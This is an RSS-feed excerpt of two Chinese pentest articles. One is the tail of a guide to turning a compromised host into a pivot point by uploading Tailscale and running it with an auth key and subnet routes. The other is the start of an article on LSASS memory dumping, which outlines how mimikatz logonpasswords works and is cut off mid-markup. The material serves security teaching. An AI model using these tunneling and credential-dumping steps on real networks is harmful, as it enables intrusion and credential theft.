8px;padding: 0px !important;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaWEhxnXuhhXgQuj451xV1DtzNrFYU99GSaNXVRzP52HwDTyCDDCBD5vMnKkPyHFybnWLpQaoANsSk9p6SaWibfNA/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-align: justify;line-height: 1.75;font-size: 14px;margin: 0px;white-space: nowrap;">sudo tailscale up --advertise-routes=<span style="color: rgb(209, 154, 102);">10.0</span>.<span style="color: rgb(209, 154, 102);">0.0</span>/<span style="color: rgb(209, 154, 102);">24</span>,<span style="color: rgb(209, 154, 102);">10.0</span>.<span style="color: rgb(209, 154, 102);">1.0</span>/<span style="color: rgb(209, 154, 102);">24</span></code></pre><h1 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding: 0px 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">攻击过程模拟</h1><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">文件上传</h2><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">接下来模拟，渗透测试人员在获取到shell后，通过上传Tailscale相关文件，之后利用命令行建立隧道。测试人员获取到shell后，上传tailscale.exe 、 tailscaled.exe 、wintun.dll 等文件。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4010327022375215" title="null" data-type="png" data-w="1743" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=87e47b9d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbVTug28xJIHNXLMXP9Dadj48yeoRXcS0srSsdOWx0EshSP2D4ltbt8A%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">生成auth keys</h2><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在tailscale管理面板中生成Auth keys</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5641891891891891" title="null" data-type="png" data-w="1184" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a97670c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbtsAYQnJUcDTq84o7bVvboOuk6crUCFTWyTKqOOVHZeql1yIDwOBPxA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">程序执行</h2><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">启动tailscaled.exe</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.09795918367346938" title="null" data-type="png" data-w="735" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=8b4ea25a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbojzHHTDdlmzpticQwWicnzGWT2MkCcialibvJ2T0BrwquCEDQS7yYclR7w%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">启动tailscale.exe 程序 这里需要注意的是要在后面加上<code style="text-align: left;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;word-break: break-all;">--unattended</code> 不然程序会自动退出</p><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="text-align: left;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;word-break: break-all;">tailscale.exe up --authkey [authkey] --unattended</code></p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.24094202898550723" title="null" data-type="png" data-w="1656" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=ae9c3884&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbjeo63POKBYicGZey2y7d9fvicjWU2brVK3XNCb7SAFHGcLTPgiatYUBNg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">成功上线。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.11280628756356911" title="null" data-type="png" data-w="2163" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d20268e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbZs0Rnib53SmTjt4LXbiaJ0HgZ0mq0gnH5ENBOhZ7PHR3W5fAXkk0KB7w%2F640%3Fwx_fmt%3Dpng"/></figure><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.536144578313253" title="null" data-type="png" data-w="830" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=bf99937c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbqlHk9T5X7TJ2yTSUU7X0G8MxeR0gkN3VMB0AeSrNYfj1slZibcPn1rA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">ACL策略表配置</h2><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">之后配置ACL禁止对方访问测试人员的机器</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2619047619047619" title="null" data-type="png" data-w="1176" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b2ada789&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795NoSUwL2r4So4LSLicQP0rbvwOrg6RfYDxSzk84UibcIByNfG41TbicrbpLJNicDq2ZghowAoibIYQsFQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">之后就是判断是否有其他的网段，然后建立子网路由对目标主机的内网进行近一步的渗透。</p><h1 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding: 0px 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">参考</h1><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="text-align: left;line-height: 1.75;color: rgb(87, 107, 149);"></span><a href="https://pentera.io/blog/pentera-labs-breaking-the-barriers-of-segmentation/" target="_blank">https://pentera.io/blog/pentera-labs-breaking-the-barriers-of-segmentation/</a><br/><a href="https://tailscale.com/kb/" target="_blank">https://tailscale.com/kb/</a> <br/><a href="https://github.com/tailscale/tailscale/issues/6610" target="_blank">https://github.com/tailscale/tailscale/issues/6610</a></p><p style="text-align: justify;"><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247499629">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=691b56ed&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247499629%26idx%3D1%26sn%3De2f7b8c93b0e4d2f13e731ae380fc8ed%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 14 Feb 2023 08:50:00 +0800</pubDate>
    </item>
    <item>
      <title>域渗透-一文了解lsass内存转储攻防技术</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499459&amp;idx=1&amp;sn=c189797bfb783ea33012548aa6dcf2eb</link>
      <description>转储内存是域渗透中重要的一个环节。本文将由浅入深的介绍常见的内存转储技术，针对不同的防护原理给出不同的dump内存方法。</description>
      <content:encoded><![CDATA[<p>
原创 <span>7bits安全团队</span> <span>2023-01-31 09:10</span> <span style="display: inline-block;">江苏</span>
</p>

<p>转储内存是域渗透中重要的一个环节。本文将由浅入深的介绍常见的内存转储技术，针对不同的防护原理给出不同的dump内存方法。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1bf2173b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJF3hwukgyxGahGVIMAkVeHmoXVCBn8bQEx8GnXquAU8j6JtthQQTicicg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">域渗透-一文了解lsass内存转储攻防技术</h1><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">引言</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">转储内存是域渗透中重要的一个环节。随着攻防对抗的升级，安全产品出现了如内存保护、PPL、杀dump文件、APIhook等防御手段，传统的内存转储技术在实战中已经逐渐无法使用。本文将由浅入深的介绍常见的内存转储技术，针对不同的防护原理给出不同的dump内存方法。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">常规手段</h2><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">mimikatz::logonpasswords</h3><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6657381615598886" title="null" data-w="718" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=9e12bfd6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJnh9XqpJ8lLibJtGA0nCPL67PTM6eBKCnbwypcJGaqLVsqkqiaIXTs4DA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在<a href="https://improsec.com/tech-blog/mimikatz-under-the-hood这篇文章中，作者自己实现了logonpasswords模块，主要分为几个步骤：" target="_blank">https://improsec.com/tech-blog/mimikatz-under-the-hood这篇文章中，作者自己实现了logonpasswords模块，主要分为几个步骤：</a></p><ol style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. 获取sebug权限</p><figure style="line-height: 1.75;margin: 1.5em 8px;"><img data-ratio="0.32503660322108346" title="null" data-w="683" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=9ad9bc42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87964j9fNnCYSIUpQjiaGaXcXJSGnAmhBANkEdJLpY4pPhAIIoKvQf1Vjf5S0kAWxt12bExsJ9pkZJOg%2F640%3Fwx_fmt%3Dpng"/></figure></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. 打开lassass进程，并找到lsass加载的lsasrv.dll模块。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>3. 在lsasrv.dll模块内存中搜索一个已知的表达式，表达式是lsasrv.dll中LsaInitializeProtectedMemory函数的一部分。</p><figure style="line-height: 1.75;margin: 1.5em 8px;"><img 